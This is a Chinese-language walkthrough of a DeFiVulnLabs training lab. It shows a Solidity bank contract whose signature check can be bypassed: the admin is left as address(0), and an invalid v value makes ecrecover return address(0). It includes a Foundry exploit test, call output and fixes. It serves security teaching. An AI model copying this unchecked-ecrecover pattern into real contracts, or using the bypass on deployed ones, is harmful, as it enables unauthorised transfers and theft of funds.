在以太坊中,签名的恢复涉及到椭圆曲线算法(ECDSA)由三个部分组成r s v。r,s用于用于确定签名的公钥,v是恢复标识符,用于确定签名者地址。
在以太坊中,如果 v 的值不是 27 或 28,那么签名恢复的过程将无法正确进行,所以如果将v的值设置为29,签名恢复为无效,所恢复出来的地址为adress(0)。
合约会接受一个签名来进行转账,需要确保这个签名的来源为管理员(admin),也以此来证明该笔转账是管理员所认可的,而此时的admin address值因为未被初始化,所以恰好是address(0),因此transfer转账成功。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleBank {
mapping(address => uint256) private balances;
//balances数组 ,address是键,uint256是值
address Admin; //默认是00000000 address(0)
functiongetBalance(address _account) publicviewreturns (uint256) {
return balances[_account];
}
//从签名里恢复签名者的地址
functionrecoverSignerAddress(
bytes32 _hash,
uint8 _v,
bytes32 _r,
bytes32 _s
) privatepurereturns (address)
{
address recoveredAddress = ecrecover(_hash, _v, _r, _s);
return recoveredAddress;
}
//转账函数,转给_to
functiontransfer(
address _to,
uint256 _amount,
bytes32 _hash,
uint8 _v,
bytes32 _r,
bytes32 _s
) public
{
//如果_to是0,就异常
require(_to != address(0), "Invalid recipient address");
//还原签名者的地址
address signer = recoverSignerAddress(_hash, _v, _r, _s);
//修复代码
//require(signer != address(0), "Invalid signature");
//签名者必须为管理员,不然无法进行转账
require(signer == Admin, "Invalid signature");
//转账金额添加到目标地址的余额中
balances[_to] += _amount;
}
}
合约部署后如下所示
{
"address _to": "0xe2FBBb6aB5eB3079025617865004A9085Cf6F93C",
"uint256 _amount": "100000000",
"bytes32 _hash": "0x0000000000000000000000000000000000000000000000000000000000000000",
"uint8 _v": 27,
"bytes32 _r": "0x0000000000000000000000000000000000000000000000000000000000000000",
"bytes32 _s": "0x0000000000000000000000000000000000000000000000000000000000000000"
}
03
contract ContractTest is Test {
SimpleBank SimpleBankContract;
function setUp() public {
SimpleBankContract = new SimpleBank();
}
//记录转账前当合约地址余额
function testecRecover() public {
emit log_named_decimal_uint(
"Before exploiting, my balance",
SimpleBankContract.getBalance(address(this)),
18
);
bytes32 _hash = keccak256(
abi.encodePacked("x19Ethereum Signed Message:n32")
);
//vm.sign获得r s 值
(, bytes32 r, bytes32 s) = vm.sign(1, _hash);
// 设置一个无效的v值
uint8 v = 29;
//传入_hash ,v ,r,s 由于v值无效,所以返回结果都是address(0)
//这里的ether不是eth,而是代表数字1e18
SimpleBankContract.transfer(address(this), 1 ether, _hash, v, r, s);
//记录转账后余额
emit log_named_decimal_uint(
"After exploiting, my balance",
SimpleBankContract.getBalance(address(this)),
18
);
}
receive() external payable {}
}
transfer(ContractTest: [
0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
],
1000000000000000000 [1e18],
0x178a2411ab6fbc1ba11064408972259c558d0e82fd48b0aba3ad81d14f065e73,
29,
0xfeb90f6de8bc39d26d62c1f8b6751b2820b88e8e2f6b80aba34dd90efd46fcbd,
0x15a8c6a4d13fcf90ccdd0734be8f9cceeef9811a4b9593837d2143f8d16874b2
)
可以看到测试环境里给出的v并不是预期内的27或者28,
_to
0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
_amount
1000000000000000000 1ETH
_hash
0x178a2411ab6fbc1ba11064408972259c558d0e82fd48b0aba3ad81d14f065e73
_v
29
_r
0xfeb90f6de8bc39d26d62c1f8b6751b2820b88e8e2f6b80aba34dd90efd46fcbd
_s
0x15a8c6a4d13fcf90ccdd0734be8f9cceeef9811a4b9593837d2143f8d16874b2
可以看到,_v是乱写的值也是可以的,因为我们的目的就是为了让它恢复出来的地址为address(0)。
constructor(address _admin) {
require(_admin != address(0), "Invalid admin address");
Admin = _admin;
}
constructor(){
Admin = msg.sender;
}
原文始发于微信公众号(Ice ThirdSpace):DeFiVulnLabs靶场全系列详解(三十三)ecRecover函数还原签名的地址为0导致可绕过签名转账
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论